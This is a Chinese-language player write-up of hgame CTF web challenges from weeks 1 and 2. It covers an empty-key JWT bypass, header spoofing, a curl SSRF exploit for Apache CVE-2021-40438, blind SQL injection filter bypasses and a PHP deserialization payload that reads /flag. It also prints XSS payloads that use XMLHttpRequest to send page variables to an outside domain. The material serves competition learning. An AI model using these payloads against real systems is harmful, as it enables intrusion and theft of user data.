又是一年hgame,话说去年week4的wp一直鸽着(逃
Week1
easy_auth
这题真的是麻了,看wp我人傻了,我就说第一周的题怎么可能难。看到auth有想过jwt验证,没想到密钥是空的,搞得去找注入点自闭了快一个星期,寄
id改成1,username设置admin通过身份验证
蛛蛛…嘿嘿♥我的蛛蛛
在header中看到了hint,但是乱码。尝试了一下,根据题目是脚本爬虫的意思?试了下robots.txt
没东西,于是就尝试脚本跑点击
1 | # -*- coding:utf8 -*- |
跑到一半跑不了了,进入页面查看header发现flag,emmm…感觉这hint不如没有,有些误导
Tetris plus
经典js题,另存页面查3000发现是假flag,下方的注释里是真flag
Fujiwara Tofu Shop
Header字段的题
X-Forwarded-For还能设置代理绕过内网IP检测,学到了
Week2
Apache!
这题是去年的一个apache的洞(CVE-2021-40438)
具体调试复现可以参考这几篇文章
Apache mod_proxy SSRF(CVE-2021-40438)的一点分析和延伸
Apache mod_proxy SSRF(CVE-2021-40438)
https://www.anquanke.com/post/id/263175
当启用模块mod_proxy
、mod_proxy_http
时,若配置了ProxyPass,会通过设置的ip进行反向代理
Apache中有两种配置反向代理的方式
直接使用某个协议反代到某个IP和端口,比如ProxyPass / "http://localhost:8080"
使用某个协议反代到unix套接字,比如ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/"
第二种情况就造成了这个漏洞,具体的复现之后再弄, 简单来说就是可以通过unix:
和|
之间填充多余4096个字符,就能发出目标地址是|
后的值的TCP请求,从而达到SSRF
进入可以看到提示我们访问内网的internal.host
,同时通过www.zip
可以拿到dockerfile
1 | version: "3.8" |
可以看到边缘服务器是apache,而内网是nginx。而apache的版本2.4.48正好符合CVE-2021-40438的要求
接着在httpd.conf
中查看mod_proxy
1
2
3
4
5
6
7
8
9
10
11
12
13LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_connect_module modules/mod_proxy_connect.so
#LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
LoadModule proxy_http_module modules/mod_proxy_http.so
#LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so
#LoadModule proxy_scgi_module modules/mod_proxy_scgi.so
#LoadModule proxy_uwsgi_module modules/mod_proxy_uwsgi.so
#LoadModule proxy_fdpass_module modules/mod_proxy_fdpass.so
#LoadModule proxy_wstunnel_module modules/mod_proxy_wstunnel.so
#LoadModule proxy_ajp_module modules/mod_proxy_ajp.so
#LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
#LoadModule proxy_express_module modules/mod_proxy_express.so
#LoadModule proxy_hcheck_module modules/mod_proxy_hcheck.so
可以看到mod_proxy
和mod_proxy_http
都可以使用
然后在httpd-vhosts.conf
中可以看到1
2
3
4
5
6
7
8
9
10
11<VirtualHost *:80>
ServerAdmin webmaster@summ3r.top
DocumentRoot "/usr/local/apache2/htdocs"
ServerName dummy-host.example.com
ServerAlias www.dummy-host.example.com
ErrorLog "logs/dummy-host.example.com-error_log"
CustomLog "logs/dummy-host.example.com-access_log" common
<Location /proxy>
ProxyPass https://www.google.com
</Location>
</VirtualHost>
proxy的路径是/proxy
,这里一开始没注意到,搞得我一直没办法触发
最后看到nginx的配置文件default.conf
1
2
3location = /flag {
return 200 "hgame{xxx}";
}
flag是在/flag
路径
先测试一下,curl "http://httpd.summ3r.top:60010/proxy?unix:testsocket|http://test/"
成功响应了503,接着去获取flagcurl "http://httpd.summ3r.top:60010/proxy?unix:$(python3 -c 'print("A"*7701, end="")')|http://internal.host/flag"
成功获得flag
webpack-engine
这题说实话做的过程有点窒息,不太熟悉chrome结果就直接尝试手动解混淆,解出了个这个filiiililil4g:'YUdkaGJXVjdSREJ1ZEY5bU1ISTVaWFJmTWw5RGJFOXpNMTlUTUhWeVkyVmZiVUJ3ZlE9PQo='
一眼看上去很怪就觉得是不是有加密函数,于是尝试了很久没整出来
最后发现chrome中可以直接得到运行后的结果,真的脑溢血
然后把这个拿去两次base64解密就得到flag了
At0m的留言板
这题的难点在于只有提供截图,模糊测试的过程令人脑溢血,提供的模板基本没有用
首先尝试了一下<script>
,检测匹配的方式应该是这样<script.*>.*</script>
,检测到就会被替换。而<span>、<div>、<img>、<p>、<b>
这些常用标签都是能用的,但是因为不能直接看到页面源码,尝试了很多次才确认并不是被替换为空而是被认为是标签。而<svg>、<iframe>
这些就很窒息了,看不到源码根本不知道到底是bot的问题没有解析还是被转义了,因为像<xxx>
这种自定义标签也应该是被隐藏的,但依旧是以字符串被显示出来了,而把<>
转义掉然后又留下几个常用标签不转义总觉得不太对
然后是迷惑点flag,在提供的模板里flag放在全局的flag中,但后面去问出题人才知道并不是,那你倒是提醒一下啊?一开始尝试用img onerror去打回数据<img src="" onerror="t=new XMLHttpRequest;t.open('GET', 'http://domain/?'+flag,!0),t.send('flag');">
什么都没有,试了下onerror也没被过滤掉,真的就一脸懵逼
后面尝试了一下<body onload="alert('132')">
,发现响应了不一样的东西
截图估计是对应位置上空白所以响应这个,于是又尝试了一下<img src=x onerror=document.write(123)>
因为页面只剩下123,所以自然也是空白,就想着能用这种方式进行语句调试
接着又尝试了一下<img src=x onerror=document.write(flag)>
发现js并没有被触发,就说明flag可能有问题。尝试把flag打回来<img src=x onerror="t=new XMLHttpRequest;t.open('GET', 'http://shifeng-kaze.cn/xss/?'+window.flag,!0),t.send('flag');document.write(123);">
发现值是undefined
,这时才去问出题人咋回事,告诉我变量不是flag,麻了
于是循环获取所有js的变量,然后判断是否字符串和是否有hgame子串,再打回来<img src=x onerror="g=window;flag='';for(prop in g){if(typeof(g[prop])=='string'){if(g[prop].search('hgame')!=-1){flag=prop+':'+g[prop]}}};t=new XMLHttpRequest;t.open('GET', 'http://domain/?'+flag,!0),t.send('xss');">
成功打回flag,变量名是F149_is_Here,孬题
后来出题人还在春节在全局变量中放了红包的领取码,把search
匹配给去掉就可以获得
Pokemon
真注入题,注释提示了?id=1
,尝试了一下发现注不了,但发现error页面是由code控制,且还会报错,尝试code=404^1^1
和code=404^0^1
结果不同,于是尝试盲注
其中将select、/**/ 、from、=、where、or
替换为空,双写即可绕过,=
用like
代替
然后就是脚本跑flag
1 | # -*- coding:utf8 -*- |
一本单词书
1 | if ($_SERVER['REQUEST_METHOD'] == 'POST') { |
登录验证,弱类型比较可绕过
index.php
中可以看到,储存时使用save.php
,获得时使用get.php
1 | function encode($data): string { |
可以看到储存时,json数据被解析为数组后,会被处理为key|val
的形式,val
被进行了序列化
在get.php
中可以对取出的储存数据的处理1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19function decode(string $data): Array {
$result = [];
$offset = 0;
$length = \strlen($data);
while ($offset < $length) {
if (!strstr(substr($data, $offset), '|')) {
return [];
}
$pos = strpos($data, '|', $offset);
$num = $pos - $offset;
$varname = substr($data, $offset, $num);
$offset += $num + 1;
$dataItem = unserialize(substr($data, $offset));
$result[$varname] = $dataItem;
$offset += \strlen(serialize($dataItem));
}
return $result;
}
可以看到offset
初始为0,然后pos
先获得第一个|
的位置,num
是pos
与offset
的差。varname
则是|
前面的字符串,即key
。dataItem
则是val
,接着将键值对放入result
中,最后offest
指向第一个键值对结束的位置。最终通过循环所有的储存数据都被放入到result
中
这里可以利用对|
位置的判断,在key
的值中设置|
和要反序列化的数据,在encode()
中key
不会被序列化,通过这样就能绕过对val
的序列化
1 | class Evil { |
在eval.php
中可以看到读取了属性file
,这里写得有些问题,if后没有else也没有return,导致这个if正则判断失去了作用,结果直接把file设置为/flag
即可
1 | key=xx|O:4:"Evil":2:{s:4:"file";s:5:"/flag";s:4:"flag";N;} |
即可读取到/flag
,就算有正则,用filter
来base64读取即可1
2key=xx|O:4:"Evil":2:{s:4:"file";s:54:"php://filter/read=convert.base64-encode/recource=/flag";s:4:"flag";N;}
val=123